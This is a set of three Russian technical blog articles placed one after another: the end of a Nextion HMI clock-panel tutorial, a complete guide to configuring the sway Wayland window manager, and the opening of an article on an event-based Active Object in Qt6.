rtc4=rtc4+1 // то добавляем к текущему значению ещё минуту } ``` Событие ***Touch Press Event*** кнопки ***b1*** – «Отнять день из текущего времени». ``` if(rtc2>1)// если значение текущего дня в часах реального времени больше 1 { rtc2=rtc2-1 // то отнимаем от текущего значения день } ``` Событие ***Touch Press Event*** кнопки ***b3*** – «Отнять месяц из текущего времени». ``` if(rtc1>1) // если значение текущего месяца в часах реального времени больше 1 { rtc1=rtc1-1 // то отнимаем от текущего значения месяц } ``` Событие ***Touch Press Event*** кнопки ***b5*** – «Отнять год из текущего времени». ``` if(rtc0>2016) // если значение текущего года в часах реального времени больше 2016 { rtc0=rtc0-1 // то отнимаем от текущего значения год } ``` Событие ***Touch Press Event*** кнопки ***b7*** – «Отнять час из текущего времени». ``` if(rtc3>0)// если значение текущего часа в часах реального времени больше 0 { rtc3=rtc3-1 // то отнимаем от текущего значения час } ``` Событие **Touch Press Event** кнопки ***b9*** – «Отнять минуту из текущего времени». ``` if(rtc4>0) // если значение текущей минуты в часах реального времени больше 0 { rtc4=rtc4-1 // то отнимаем от текущего значения минуту } ``` Событие ***Touch Press Event*** кнопки ***b10*** – «Установка секунд в 0». ``` rtc5=0 // в значения секунд в часах реального времени записываем 0 ``` Событие ***Touch Press Event*** кнопки ***b11*** – «Выход». ``` page 0 // переходим на главное окно ``` Событие ***Touch Press Event*** кнопки ***b12*** – «Переход к предыдущему полю». Кнопка невидимая. Эта кнопка на этом экране привязана к физической кнопке ***Up (IO4)*** на ***Expansion Board***. ``` if(sel.val<2)//Если выбраное поле равно 1 (День) { sel.val=5 // Переходим на поле 5 (Минуты) }else // Иначе { sel.val=sel.val-1 // переходим на предыдущее поле } ``` Событие ***Touch Press Event*** кнопки ***b13*** – «Перейти к следующему полю». Кнопка невидимая. Эта кнопка на этом экране привязана к физической кнопке ***Down (IO3)*** на ***Expansion Board***. ``` if(sel.val>4)//Если выбранное поле - 5 (Минуты) { sel.val=1 // Переходим на поле 1 (День) }else // Иначе { sel.val=sel.val+1 // переходим на следующее поле } ``` Событие ***Touch Press Event*** кнопки ***b14*** – «Добавить 1 к значению выбраного полю». Кнопка невидимая. Эта кнопка на этом экране привязана к физической кнопке ***Right (IO2)*** на ***Expansion Board***. ``` if(sel.val==1)//Если выбрано поле 1(День) { click b0,1 // Имитируем нажатие на кнопке b0 (Добавить день) } if(sel.val==2) // Если выбрано поле 2(Месяц) { click b2,1 // Имитируем нажатие на кнопке b2 (Добавить месяц) } if(sel.val==3)//Если выбрано поле 3(Год) { click b4,1 // Имитируем нажатие на кнопке b4 (Добавить год) } if(sel.val==4)//Если выбрано поле 4(Часы) { click b6,1 // Имитируем нажатие на кнопке b6 (Добавить час) } if(sel.val==5)//Если выбрано поле 5(Минуты) { click b8,1 // Имитируем нажатие на кнопке b8 (Добавить минуту) } ``` Событие ***Touch Release Event*** кнопки ***b14*** ``` if(sel.val==1) // Если выбрано поле 1(День) { click b0,0 // Имитируем отпускание кнопки b0 (Добавить день) } if(sel.val==2) // Если выбрано поле 2(Месяц) { click b2,0 // Имитируем отпускание кнопки b2 (Добавить месяц) } if(sel.val==3) // Если выбрано поле 3(Год) { click b4,0 // Имитируем отпускание кнопки b4 (Добавить год) } if(sel.val==4) // Если выбрано поле 4(Час) { click b6,0 // Имитируем отпускание кнопки b6 (Добавить час) } if(sel.val==5) // Если выбрано поле 5(Минута) { click b8,0 // Имитируем отпускание кнопки b8 (Добавить минуту) } ``` Событие ***Touch Press Event*** кнопки ***b15*** – «Отнять 1 от значения выбранного поля». Кнопка невидимая. Эта кнопка на этом экране привязана к физической кнопке ***Left (IO5)*** на ***Expansion Board***. ``` if(sel.val==1) // Если выбрано поле 1(День) { click b1,1 // Имитируем нажатие на кнопке b1 (Минус день) } if(sel.val==2) // Если выбрано поле 2(Месяц) { click b3,1 // Имитируем нажатие на кнопке b3 (Минус месяц) } if(sel.val==3)//Если выбрано поле 3(Год) { click b5,1 // Имитируем нажатие на кнопке b5 (Минус год) } if(sel.val==4)//Если выбрано поле 4(час) { click b7,1 // Имитируем нажатие на кнопке b7 (Минус час) } if(sel.val==5)//Если выбрано поле 5(Минута) { click b9,1//Имитируем нажатие на кнопке b9 (Минус минута) } ``` Событие ***Touch Release Event*** кнопки ***b15*** ``` if(sel.val==1) // Если выбрано поле 1(День) { click b1,0 // Имитируем отпускание кнопки b1 (Минус день) } if(sel.val==2) // Если выбрано поле 2(Месяц) { click b3,0 // Имитируем отпускание кнопки b3 (Минус месяц) } if(sel.val==3)//Если выбрано поле 3(Год) { click b5,0 // Имитируем отпускание кнопки b5 (Минус год) } if(sel.val==4)//Если выбрано поле 4(Час) { click b7,0 // Имитируем отпускание кнопки b7 (Минус час) } if(sel.val==5) // Если выбрано поле 5(Минута) { click b9,0 // Имитируем отпускание кнопки b9 (Минус минута) } ``` Ну и как в остальных окнах в этом окне установлен таймер ***tm0*** с периодом срабатывания 200 миллисекунд. В событии ***Timer Event*** этого таймера происходит обновление значений текстовых полей. **Код под спойлером** ``` //Обновление отображения текущего времени temp.val=rtc2 // в переменную temp вычитываем значения текущего дня из часов реального времени (системная переменная rtc2) tempText.txt=""//в строковую переменную tempText записываем пустую строку if(temp.val<10)//если значение текущего дня меньше 10 { tempText.txt="0" // в строковую переменную tempText записываем символ "0" } cov temp.val,TT1.txt,0 // преобразуем числовое значение дня в строковое значение и записываем в строковую переменную TT1 CurrentTime1.txt=tempText.txt+TT1.txt // в поле отображения текущего времени CurrentTime1 записываем значения переменных tempText и TT1 temp.val=rtc1 // в переменную temp вычитываем значения текущего месяца из часов реального времени (системная переменная rtc1) tempText.txt="" // в строковую переменную tempText записываем пустую строку if(temp.val<10) // если значение текущего месяца меньше 10 { tempText.txt="0" // в строковую переменную tempText записываем символ "0" } cov temp.val,TT1.txt,0 // преобразуем числовое значение месяца в строковое значение и записываем в строковую переменную TT1 CurrentTime1.txt=CurrentTime1.txt+"-"+tempText.txt+TT1.txt // к значению в поле отображения текущего времени CurrentTime1 добавляем символ разделителя даты "-" а затем значения переменных tempText и TT1 temp.val=rtc0 // в переменную temp вычитываем значения текущего года из часов реального времени (системная переменная rtc0) tempText.txt=""//в строковую переменную tempText записываем пустую строку if(temp.val<10)//если значение текущего года меньше 10 { tempText.txt="0"//в строковую переменную tempText записываем символ "0" } cov temp.val,TT1.txt,0 // преобразуем числовое значение года в строковое значение и записываем в строковую переменную TT1 CurrentTime1.txt=CurrentTime1.txt+"-"+tempText.txt+TT1.txt // к значению в поле отображения текущего времени CurrentTime1 добавляем символ разделителя даты "-" а затем значения переменных tempText и TT1 temp.val=rtc3 // в переменную temp вычитываем значения текущего часа из часов реального времени (системная переменная rtc3) tempText.txt="" // в строковую переменную tempText записываем пустую строку if(temp.val<10) // если значение текущего часа меньше 10 { tempText.txt="0" // в строковую переменную tempText записываем символ "0" } cov temp.val,TT1.txt,0 // преобразуем числовое значение часа в строковое значение и записываем в строковую переменную TT1 CurrentTime1.txt=CurrentTime1.txt+" "+tempText.txt+TT1.txt // к значению в поле отображения текущего времени CurrentTime1 добавляем символ разделителя даты и времени " " а затем значения переменных tempText и TT1 temp.val=rtc4 // в переменную temp вычитываем значения текущей минуты из часов реального времени (системная переменная rtc4) tempText.txt="" // в строковую переменную tempText записываем пустую строку if(temp.val<10) // если значение текущей минуты меньше 10 { tempText.txt="0" // в строковую переменную tempText записываем символ "0" } cov temp.val,TT1.txt,0 // преобразуем числовое значение минуты в строковое значение и записываем в строковую переменную TT1 CurrentTime1.txt=CurrentTime1.txt+":"+tempText.txt+TT1.txt // к значению в поле отображения текущего времени CurrentTime1 добавляем символ разделителя времени ":" а затем значения переменных tempText и TT1 temp.val=rtc5 // в переменную temp вычитываем значения текущей сеунды из часов реального времени (системная переменная rtc4) tempText.txt="" // в строковую переменную tempText записываем пустую строку if(temp.val<10) // если значение текущей секунды меньше 10 { tempText.txt="0" // в строковую переменную tempText записываем символ "0" } cov temp.val,TT1.txt,0 // преобразуем числовое значение секунды в строковое значение и записываем в строковую переменную TT1 CurrentTime1.txt=CurrentTime1.txt+":"+tempText.txt+TT1.txt // к значению в поле отображения текущего времени CurrentTime1 добавляем символ разделителя времени ":" а затем значения переменных tempText и TT1 //Задание цвета для идентификаторов полей (t1 - t5) if(sel.val==1) // Если выбрано поле 1 (День) { t1.pco=63488 // Идентификатору поля дня (t1) задаём цвет текста - красный }else//Иначе { t1.pco=65535 // Идентификатору поля дня (t1) задаём цвет текста - белый } if(sel.val==2) // Если выбрано поле 2 (Месяц) { t2.pco=63488 // Идентификатору поля месяца (t2) задаём цвет текста - красный }else // Иначе { t2.pco=65535 // Идентификатору поля месяца (t2) задаём цвет текста - белый } if(sel.val==3)//Если выбрано поле 3 (Год) { t3.pco=63488 // Идентификатору поля года (t3) задаём цвет текста - красный }else // Иначе { t3.pco=65535 // Идентификатору поля года (t3) задаём цвет текста - белый } if(sel.val==4)//Если выбрано поле 4 (Час) { t4.pco=63488 // Идентификатору поля часа (t4) задаём цвет текста - красный }else // Иначе { t4.pco=65535 // Идентификатору поля часа (t4) задаём цвет текста - белый } if(sel.val==5)//Если выбрано поле 5 (Минута) { t5.pco=63488 // Идентификатору поля минуты (t5) задаём цвет текста - красный }else // Иначе { t5.pco=65535 // Идентификатору поля минуты (t5) задаём цвет текста - белый } ``` На этом мы закончили с панелью. В принципе получилась автономная система, которая может работать без дополнительного оборудования. Но использовать срабатывания каналов мы не сможем. У нас осталось всего два свободных входа – выхода. Тут на помощь придёт ардуинка. В версии 2.2 программы FLProg обновилась поддержка панелей Nextion HMI. Появились новые блоки для неё. 1. Блок «*Нажатие на элемент*» — позволяет сымитировать нажатие и отпускание на любой элемент на экране панели. 2. Блоки «*Получить значение системной переменной*» и «*Установить значение системной переменной*» — позволяют читать и записывать значения практически всех системных переменных панели 3. Блок «*Настройка GPIO*» — позволяет в любой момент времени произвести конфигурирование режимов работы входов/выходов панели Ну а в данном уроке (поскольку он всё таки больше посвящён программированию самой панели) мы просто прочитаем состояние каналов таймера (переменные ***tsr1 — tsr5***) и выведем его на светодиоды. Схема проекта для Arduino в программе FLProg. ![](https://habrastorage.org/r/w1560/files/36e/f88/f8f/36ef88f8f23b40a982ce33183cd7e08a.png) Небольшое видео работы устройства (Это всё-таки учебный проект, поэтому он собран по временной схеме) Приложения: 1. [Проект для программы Nextion Editor](https://yadi.sk/d/UJbpX4xR387SEA) (прошивка для панели) 2. [Проект для программы FLProg](https://yadi.sk/d/sqzUuXAQ387SE2) (прошивка для ардуино)
https://habr.com/ru/post/400463/
null
ru
null
# SwayWM — сам себе UnixPorn Всем привет. В этой статье я опишу свой опыт настройки и использования sway — тайлингового оконного менеджера для Linux. Что это такое и зачем оно нужно? ================================ Официально, sway — тайлинговый оконный менеджер, прозрачная замена i3wm, работающая поверх Wayland. > Вейланд, он же Вёлунд и т.п. — персонаж из древнегерманской и древнескандинавской мифологии, книгу о которой в своё время написал английский фольклорист Джесси Вестон (Jessie Weston). Теперь вы знаете. Однако, на мой взгляд, главная особенность sway — в том, что он является конструктором, со всеми преимуществами и недостатками такого подхода. Если вам нравятся Vim (сходство с ним усугубляется ориентацией на использование клавиатуры), Archlinux и подобные проекты, то советую присмотреться и к sway. Лично моё мнение — один раз потратив чуть больше времени на его настройку, вы получите очень стабильное и удобное лично для вас окружение, в котором не будет происходить ничего неожиданного. Если недостатки sway и Wayland (такие как отсутствие поддержки закрытых драйверов NVidia и необходимость искать аналоги для многих привычных программ) кажутся вам фатальными, то советую обратить внимание на иксовый i3wm. Части конструктора там будут совсем другими, придётся ставить xinit, настраивать разнообразные .Xauthority, возможно бороться с тирингом, но общая логика работы системы — точно такая же. Установка ========= Sway наверняка есть в репозиториях вашего дистрибутива. Однако, если вам хочется установить более новую версию, то это очень просто. На странице проекта на [github](https://github.com/swaywm/sway) приведён куцый список его зависимостей. Установите их, склонируйте репозиторий, склонируйте `wlroots` в папку `subprojects`: ``` hub clone swaywm/sway hub clone swaywm/wlroots sway/subprojects/wlroots ``` (тут я использую [hub](https://github.com/github/hub). Нестандартный, но очень удобный инструмент). После этого можно конфигурировать и собирать: ``` meson setup ./sway-build ./sway --buildtype=minsize ninja -C ./sway-build doas ninja -C ./sway-build install ``` > doas — легковесная замена sudo от разработчиков OpenBSD. В Linux как правило используют её форк [OpenDoas](https://github.com/Duncaen/OpenDoas) Запуск ====== Если вы хотите запускать sway из командной строки, не пользуясь менеджерами вроде SDDM, то единственный правильный способ делать это — ``` $ exec sway ``` Если вы запустите sway без `exec`, заблокируете экран с помощью swaylock и sway упадёт, то вас выкинет обратно в командную строку. Блокировка окажется бесполезной. > Нелюбителям systemd на заметку: sway не требуется ни systemd-logind, ни elogind. Правда, в этом случае придётся установить suid-бит или настроить capabilities. См. [wiki](https://github.com/swaywm/sway/wiki/Running-Sway-without-systemd). Переменные окружения -------------------- Есть несколько мест, куда я их прописываю. Shell-скрипт по адресу `~/.local/bin/sway` — для переменных, специфичных для sway. Например я хочу, чтобы Qt-приложения не показывали декорации и использовали тему из `qt5ct`: ``` #!/bin/bash QT_QPA_PLATFORMTHEME=qt5ct \ QT_WAYLAND_DISABLE_WINDOWDECORATION=1 \ /usr/bin/sway ``` `~/.pam_environment` — для переменных, которые я хочу сразу сделать доступными в пользовательской сессии systemd. Пример: ``` SSH_AUTH_SOCK DEFAULT="${XDG_RUNTIME_DIR}/gnupg/S.gpg-agent.ssh" ``` Однако меняйте этот файл с осторожностью, особенно если вы используете и другие окружения. Например, KDE Plasma очень не понравится, если оно обнаружит там `$WAYLAND_DISPLAY` (по иронии, заведующий этим файлом модуль `pam_env` был создан N лет назад в первую очередь для того, чтобы устанавливать переменную `$DISPLAY`). `~/.bashrc` — для всех остальных случаев. Настройка sway ============== Ввод ---- В моей системе всё совсем просто: устанавливаем русскую и английскую раскладки и переключаемся между ними по `Alt+Shift`. В конфиге sway это выглядит так: ``` input * { xkb_layout us,ru xkb_options grp:alt_shift_toggle } ``` Sway использует для ввода библиотеку `libinput`, ту же самую, что KDE и Gnome. А значит, нам доступно множество её опций. Настройки тачпада, естественные прокрутки, ускорения указателей мыши, и т.д. и т.п. Список опций можно изучить в `man sway-input`, а список устройств ввода — в выводе команды ``` swaymsg -t get_inputs ``` Однако я хотел бы обратить внимание на одну интересную возможность. Если вы переезжаете с иксового окружения, то можете просто перенести оттуда свои настройки клавиатуры. Выполните в этом окружении команду ``` $ xkbcomp $DISPLAY /path/to/keymap.xkb ``` а в конфиге sway пропишите ``` input * { xkb_file /path/to/keymap.xkb } ``` Хоткеи ------ Хоткеи, как и все остальное в sway, задаются в конфиге. Есть 3 команды для их определения: 1. `bindswitch`. Выполняется при открытии/закрытии крышки ноутбука, переходе в планшетный режим, и т.п. 2. `bindcode`. Выполняется при нажатии клавиши с заданным кодом. Не зависит от текущей раскладки, особенно полезно для мультимедийных клавиш. 3. `bindsym`. Текущий введенный символ, зависит от раскладки. Однако, при добавлении параметра `--to-code` этот символ будет неявно преобразован в соответствующий код для первой раскладки из `xkb_layout` (см. настройки ввода). Например, такой хоткей прибьёт текущее окно независимо от раскладки: ``` bindsym --to-code $mod+Shift+q kill ``` Подробнее про эти параметры можно почитать в мане: `man 5 sway`. Чтобы легко определять, что именно было нажато, автор sway написал специальный [кейлоггер](https://git.sr.ht/~sircmpwn/wshowkeys) (ему требуются права рута для работы, так что за безопасность можно не беспокоиться). Вывод ----- Список доступных устройств вывода можно получить командой ``` swaymsg -t get_outputs ``` В конфиге для каждого из них можно задать видеорежим, масштабирование (в т.ч. дробное), картинку, поворот и т.п. Простейшая конфигурация выглядит так: ``` output HDMI-A-1 mode 1920x1080@60Hz output * bg /path/to/wallpaper.jpg fill ``` Полный список опций можно посмотреть в мане `man sway-output`. Также есть программа [wlr-randr](https://github.com/emersion/wlr-randr), в которой всё это можно задавать из командной строки (то есть, это аналог XRandr для Wayland). Swaybar ------- Swaybar — панель, на которой показывается статусная информация. Дата, время, системный лоток, и т.д. и т.п. Обычно фанаты i3 и sway проводят больше всего времени за настройкой именно этой панели (или панелей, их может быть несколько). Лично мне хватает такого, близкого к минимальному конфига: ``` bar { position top colors { statusline #ffffff background #282828E6 inactive_workspace #282936BF #282936BF #5c5c5c } font Hack 11 status_command i3blocks } ``` Есть множество опций настройки положения, цветов, шрифтов, трея и т.п. Почитать о них можно в мане — `man 5 sway-bar`. Swaybar занимается тем, что читает и парсит json в формате i3bar, выводимый `status_command`. Есть множество программ, которые могут тут использоваться. [i3status](https://i3wm.org/i3status/), [waybar](https://github.com/Alexays/Waybar), [i3status-rs](https://github.com/greshake/i3status-rust), и множество других проектов. Лично я предпочитаю [i3blocks](https://github.com/vivien/i3blocks) из-за простоты конфига и лёгкости добавления собственных блоков. Настройка прикладных программ ============================= Уведомления ----------- Этим может заниматься демон [mako](https://github.com/emersion/mako) (скорее всего есть в вашем дистрибутиве). Там тоже можно настраивать цвета и т.п., но это всё опционально. Просто запустите его, и он будет работать. Mako реализует использующую dbus спецификацию XDG Desktop Notifications. Её поддерживают многие программы, в том числе Chromium, Firefox и Telegram. Эмулятор терминала ------------------ В окружениях вроде KDE Plasma обычно пользуются встроенными эмуляторами, показывающими меню, вкладки, и множество других элементов оформления. Но зачем всё это в sway? Я предпочитаю [Alacritty](https://github.com/alacritty/alacritty) — очень быстрый благодаря использованию GPU эмулятор, кстати написанный на Rust. Я добавил такие хоткеи в секцию `key_bindings` в его конфиге (`~/.config/alacritty/alacritty.yml`): ``` - { key: T, mods: Control|Shift, action: SpawnNewInstance } ``` открыть новое окно с текущим каталогом. Прекрасная замена вкладкам, а о расположении позаботится sway. ``` - { key: Up, mods: Control|Shift, action: ScrollLineUp, mode: ~Alt } - { key: Down, mods: Control|Shift, action: ScrollLineDown, mode: ~Alt } ``` прокрутить на строку вверх/вниз. Пишем в конфиге sway ``` set $term alacritty bindsym $mod+Return exec $term ``` Alacritty не поддерживает лигатуры, так как они влияют на скорость рендеринга. Если они вам всё-таки нужны, обратите внимание на [kitty](https://sw.kovidgoyal.net/kitty/) — этот эмулятор тоже очень быстр, а ещё там под капотом просто пугающее количество фич и настроек. Запуск приложений ----------------- Приложения в sway обычно запускаются с помощью вызываемого по хоткею меню. В конфиге пишут что-то вроде ``` set $menu ... bindsym --to-code $mod+d exec $menu ``` Для показа меню есть множество программ. Некоторым, таким как [dmenu](https://tools.suckless.org/dmenu/) или [rofi](https://github.com/davatorium/rofi), нужен XWayland. Среди работающих под Wayland можно выделить [bemenu](https://github.com/Cloudef/bemenu) и даже krunner (то, что появляется в KDE по `Alt+F2`. Да, это независимая программа). Однако я предпочитаю более универсальное решение, а именно [sway-launcher-desktop](https://github.com/Biont/sway-launcher-desktop). Несмотря на название, оно не зависит от sway и вообще является не GUI-программой, а работающим в консоли небольшим shell-скриптом. Этот скрипт формирует меню из программ в `$PATH`, установленных desktop-файлов (в соответствии со спецификацией XDG Desktop Entry) и возможно дополнительных источников (настраиваются в конфиге). Для показа и поиска по меню используется замечательная утилита `fzf` — обратите на неё внимание. Таким образом, для показа меню нам надо открывать окно терминала с этой программой. С alacritty это делается так: ``` set $menu exec alacritty -e sway-launcher-desktop bindsym --to-code $mod+d exec $menu ``` Возможно, вам захочется сделать это окно плавающим по умолчанию. В i3 и sway подобные правила настраиваются в конфиге при помощи директивы `for_window`. Для сопоставления правила с окном `sway-launcher-desktop` ему надо назначить какой-нибудь уникальный класс, у меня это просто `Launcher`. Имейте ввиду, что из-за использования Wayland перечисленные в [мануале i3](https://i3wm.org/docs/userguide.html#for_window) критерии не подходят для sway. Правильные можно найти в `man 5 sway`, секция `CRITERIA`. В данном случае вполне подойдёт `app_id`, и итоговый конфиг выглядит так: ``` set $menu exec alacritty --class Launcher -e sway-launcher-desktop for_window [app_id="Launcher"] floating enable, border pixel 10, sticky enable bindsym --to-code $mod+d exec $menu ``` Автозапуск приложений --------------------- В принципе, для автозапуска программы можно просто написать ``` exec /path/to/program ``` в конфиге sway, или даже создать пользовательский юнит systemd. Однако, в этой статье я воспользуюсь принятой в KDE и Gnome спецификацией XDG Autostart. Спецификация заключается в запуске desktop-файлов, расположенных в каталогах `/etc/xdg/autostart` и `~/.config/autostart`. Как правило, эти файлы поставляются в пакетах с программами, но их легко создать и самому. Здесь проявляется модульная сущность sway. Sway сам по себе ничего не знает ни про XDG Autostart, ни про XDG Desktop Entry. Больше того, его разработчики активно не любят эти и все подобные спецификации. Однако, с ними умеет управляться консольная утилита [dex](https://github.com/jceb/dex) (скорее всего, есть в репозитории вашего дистрибутива). Чтобы проверить, что будет в автозапуске, наберите команду ``` $ dex -ade Sway ``` `a` значит autostart, `d` — "dry run", `-e Sway` задаёт название окружения (может быть любым) и применяется для фильтрации. Скорее всего, получившийся список вас не устроит. Например, у меня там оказался `kgpg`. Поступаем следующим образом: копируем соответствующий desktop-файл из `/etc/xdg/autostart` в `~/.config/autostart`, добавляем туда строку ``` NotShowIn=Sway ``` и снова проверяем автозапуск. Многим программам (особенно написанным на Electron) может не понравиться запускаться под Wayland. Поступаем с ними точно так же. Копируем desktop-файл и меняем там строчку запуска. Было: ``` Exec=/usr/bin/skypeforlinux ``` стало: ``` Exec=env GDK_BACKEND=x11 /usr/bin/skypeforlinux ``` этот же приём можно применять и для sway-launcher-desktop из предыдущего пункта. Когда все проблемы решены, добавляем в конфиг sway строчку ``` exec dex -ae Sway ``` Либо можно поступать наоборот: копировать нужные desktop-файлы в какой-нибудь нестандартный каталог и натравливать на него dex командой ``` exec dex -as /path/to/your/dir ``` Скриншоты --------- В этом нам помогут двое из ларца. [slurp](https://github.com/emersion/slurp) позволяет выбрать произвольную прямоугольную область на экране, а [grim](https://github.com/emersion/grim) делает из неё скриншот. В моём конфиге это выглядит так: ``` bindsym Print exec grim ~/Pictures/screen-"$(date +%s)".png bindsym $mod+Print exec grim -g "$(slurp)" ~/Pictures/screen-"$(date +%s)".png ``` `$mod+PrintScreen` — скриншот произвольной области, `PrintScreen` — скриншот всего экрана. Скринкасты ---------- Если вам нужно записать скринкаст в файл или постримить его в RTMP-поток (например на Twitch), то с этим поможет [wf-recorder](https://github.com/ammen99/wf-recorder) (тоже поддерживает slurp). Если хотите использовать OBS Studio, то для этого есть плагин [wlrobs](https://hg.sr.ht/~scoopta/wlrobs). Однако самое универсальное решение, поддерживаемое с одной стороны в KDE и Gnome, а с другой, в частности, в браузерах Chrome и Firefox — это использовать Pipewire и спецификацию XDG Desktop Portal. Для sway есть нужная прослойка [xdg-desktop-portal-wlr](https://github.com/emersion/xdg-desktop-portal-wlr), правда я не проверял её работоспособность. Ночной режим ------------ Ночной режим заключается в замене цветов монитора на более тёплые в тёмное время суток. Ученые сомневаются, насколько это на самом деле полезно, а разработчики Wayland решили, что стандартизировать протокол гамма-коррекции бесполезно по техническим причинам. Тем не менее, мне эта фича нравится, и в sway она тоже есть. Для ночного режима нам понадобится вот этот [форк redshift](https://github.com/minus7/redshift) с поддержкой специфичного для sway протокола. Устанавливаем его любым способом, в конфиге `~/.config/redshift/redshift.conf` выбираем нужный протокол и указываем долготу и широту. ``` [redshift] location-provider=manual adjustment-method=wayland [manual] lat=xx.xx lon=yy.yy ``` Блокировка и отключение экрана ------------------------------ Здесь приходят на помощь двое из другого ларца. `swayidle` запускает заданные команды по таймауту в случае отсутствия активности (или наоборот, её появления), а `swaylock` блокирует экран и требует ввести пароль. Отключить экран (или все экраны, если их несколько) можно командой ``` swaymsg "output * dpms off" ``` Вот как будет выглядеть демон, блокирующий экран через 300 секунд неактивности и отключающий его через 600: ``` swayidle -w \ timeout 300 'swaylock -f -c 000000' \ timeout 600 'swaymsg "output * dpms off"' \ resume 'swaymsg "output * dpms on"' \ before-sleep 'swaylock -f -c 000000' ``` Запустите его любым способом. i3blocks -------- Готовые блоки с календарем, сетью, состояние диска и т.д. и т.п. можно позаимствовать из репозитория [i3blocks-contrib](https://github.com/vivien/i3blocks-contrib). В i3blocks они добавляются в конфиге по адресу `~/.config/i3blocks/config`. Например, блок с обновляемыми раз в 5 секунд днём недели, датой и временем: ``` [time] command=date +"%a %d/%m %H:%M" interval=5 ``` Но это был слишком простой пример. На самом деле, у любителей i3 и sway есть священный грааль: показ заголовка текущего окна в верхней панели. Давайте разберёмся, как этого добиться. Прежде всего начинаем читать `man sway-ipc` и обнаруживаем, что там можно подписываться на события. Нужное имеет код `0x80000003. WINDOW` и возвращает json-объекты такой структуры: ``` { "change" : "focus | title | ...", "container": { focused: true | false, name: "...", ... } } ``` Действительно, либо само окно может сменить свой заголовок (`change == title`), либо мы можем переместить фокус на другое окно (`change == focus`). Однако, окно может сменить заголовок и не под фокусом. Чтобы отфильтровать такие события, мы должны проверять свойство `container.focused`. Можно описать всю эту логику на Python или Go, однако есть способ и получше. `swaymsg` позволяет легко подписываться на нужные события и выводить их в stdout: ``` $ swaymsg -m -t SUBSCRIBE "['window']" ``` а получающийся на выходе json мы будем обрабатывать в `jq`. Не вдаваясь в тонкости синтаксиса запросов этой замечательной утилиты, вот что получается в итоге: ``` $ query='select(.change == "focus" or (.change == "title" and .container.focused)) | .container.name' $ swaymsg -m -t SUBSCRIBE "['window']" | jq --unbuffered -r "$query" ``` Скрипт из двух строчек на баше, и больше никакого кода! Флаг `--unbuffered` нужен, иначе i3blocks будет получать новые строки не сразу, а только при очистке буфера. Наконец, в конфиг i3blocks надо добавить такой блок: ``` [active_window] command=/path/to/our/script.sh interval=persist ``` Домашнее задание: научите grim делать скриншот текущего окна. Говорят, что такие вещи невозможны в Wayland, но мужики сомневаются. Домашнее задание 2: научите i3blocks показывать текущую раскладку клавиатуры в виде флага. В i3blocks-contrib есть пара блоков, но они показывают текст вместо флага и не работают в Wayland. Прочие программы ---------------- [wl-clipboard](https://github.com/bugaevc/wl-clipboard) позволяет работать с буфером обмена из терминала, то есть заменяет xclip и xsel. Особенно полезно для пользователей vim, в котором начинает работать копирование/вставка по `"+y`/`"+p` (просто установите этот пакет, дополнительное конфигурирование не требуется). [ydotool](https://github.com/ReimuNotMoe/ydotool) — замена xdotool. [waypipe](https://gitlab.freedesktop.org/mstoeckl/waypipe/) — прокси для сетевой прозрачности. Если честно, я не помню, когда в последний раз кто-нибудь задавал на профильных форумах вопрос, связанный с этой фичей. Может, ей вообще не пользуются? Я — точно нет. KDE Connect. Добавьте в автозапуск файл `org.kde.kdeconnect.nonplasma.desktop` (см. предыдущие секции), установите KDE Connect на смартфоне и настройте их связку — и вы сможете управлять со смартфона воспроизведением музыки и видео в браузере с плагином [plasma-integration](https://addons.mozilla.org/ru/firefox/addon/plasma-integration/), в vlc, в cantata, в mpv с плагином [mpv-mpris](https://github.com/hoyon/mpv-mpris), а также получать уведомления в mako. Моё уважение проекту KDE за разработку программ, не прибитых гвоздями к их экосистеме. Заключение ========== Писать о настройке всего этого (особенно панели i3blocks) можно бесконечно, однако тут лучше остановиться. Вот что получилось у меня: [![](https://habrastorage.org/r/w1560/webt/s9/qy/q0/s9qyq0rrpk9rzv4bamj1qsooceq.png)](https://habrastorage.org/webt/s9/qy/q0/s9qyq0rrpk9rzv4bamj1qsooceq.png) Также зайдите на сабреддит [/r/unixporn](https://www.reddit.com/r/unixporn/) и подивитесь, что делают люди. (впрочем, 95% выложенного там красиво выглядит, но категорически не подходит для повседневной работы :) ).
https://habr.com/ru/post/484378/
null
ru
null
# Размышление об Active Object в контексте Qt6. Часть 2 #### Ссылки на статьи * [Часть 1](https://habr.com/ru/post/709768/) * [Часть 2](https://habr.com/ru/post/710368/) * [Часть 2.5](https://habr.com/ru/post/710550/) * [Часть 2.6](https://habr.com/ru/post/712328/) * [Часть 3](https://habr.com/ru/post/710656/) Предисловие ----------- Пришло время написать вторую часть статьи. На этот раз мы рассмотрим нечто, к чему вы скорее всего придёте, работая над многопоточным кодом с использованием Qt. Снова настоятельно рекомендую ознакомиться с [этой](https://habr.com/ru/post/467261/) статьёй. Она даёт отличный пласт понимания работы Qt и необходима для примеров из этой статьи. В чём идея ---------- Если вспомнить пример из [первой части цикла](https://habr.com/ru/post/709768/), то можно сказать, что между client и active object почти всегда стоит очередь (на практике я не встречал active object без очередей). Но если прочитать [эту](https://habr.com/ru/post/467261/) статью, то мы узнаём, что внутри каждого цикла событий Qt лежит очередь. Таким образом, если обернуть задачу в наследника класса QEvent, то можно без проблем использовать эту очередь для передачи задач. Так ещё и получим возможность задавать приоритет передачи сообщений. Из коробки в Qt существует Qt::HighEventPriority (1), Qt::NormalEventPriority (0) и Qt::LowEventPriority (-1), но по факту вы можете передавать любое числовое значение в пределах int32\_t. Реализация Event-ориентированного Active object ----------------------------------------------- Для начала создадим класс события. Он будет приватным внутренним классом для нашего Active object. Т.е. никто извне не сможет увидеть тип этого события. PrinterMessageEvent ``` class PrinterMessageEvent : public QEvent { private: QPromise m\_promise; const QString m\_message; public: inline static constexpr QEvent::Type Type = static\_cast(QEvent::Type::User + 1); PrinterMessageEvent(const QString &message); const QString& message() const; QPromise& promise(); }; EventBasedAsyncQDebugPrinter::PrinterMessageEvent::PrinterMessageEvent(const QString &message) :QEvent{ Type }, m\_message{ message } {} const QString &EventBasedAsyncQDebugPrinter::PrinterMessageEvent::message() const { return m\_message; } QPromise &EventBasedAsyncQDebugPrinter::PrinterMessageEvent::promise() { return m\_promise; } ``` Класс события предельно прост. Мы пользуемся тем, что QEvent является move-only классом, а значит, может передавать внутри себя QPromise по значению. Далее весь класс QEvent сводится к простому DTO с двумя геттерами (для сообщения и промиса). В конструкторе необходимо указать QEvent::Type больший или равный, чем QEvent::Type::User. Это необходимо, чтобы Qt автоматически передал это событие в виртуальный метод customEvent(). Теперь создадим сам класс Активного объекта. У него будет такой же метод print, возвращающий future, как и в примере из [первой части](https://habr.com/ru/post/709768/). 